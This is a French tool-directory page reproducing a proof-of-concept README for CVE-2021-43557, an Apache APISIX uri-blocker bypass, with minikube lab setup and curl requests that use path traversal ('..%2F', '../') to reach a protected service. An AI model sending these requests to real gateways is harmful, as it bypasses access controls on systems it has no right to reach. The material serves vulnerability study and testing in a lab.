Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
k8s-CVE-2021-43557-poc — PoC pour CVE-2021-43557 | Kitploit
Outils/GitHubGitHub/xvnpw/k8s-cve-2021-43557-poc
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité CloudSécurité des API
GitHubxvnpw/k8s-cve-2021-43557-poc

k8s-CVE-2021-43557-poc

PoC pour CVE-2021-43557

Voir le dépôt
223il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Installation

  • installer minikube
  • installer apisix:
root@kitploit:~
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
  --set gateway.type=NodePort \
  --set ingress-controller.enabled=true \
  --namespace ingress-apisix \
  --version 0.7.2
kubectl get service --namespace ingress-apisix
  • déployer app.yaml: kubectl apply -f app.yaml
  • déployer les routes: kubectl apply -f routes.yaml

Facultatif, si vous avez besoin de modifier les images des applications:

  • (facultatif) construire les images docker:
    • cd protected-service; docker build -t protected-service:0.0.1 .
    • cd public-service; docker build -t public-service:0.0.1 .
  • (facultatif) pousser les images docker dans minikube:
    • minikube image load protected-service:0.0.1
    • minikube image load public-service:0.0.1

Exploitation

Manuellement

Pour accéder au service public:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

devrait retourner 200

Pour accéder au service protégé:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'

devrait retourner 403

Pour accéder au service protégé en contournant uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test' Pour accéder au service protégé en contournant uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'

Les deux devraient retourner 200

Télécharger l’outil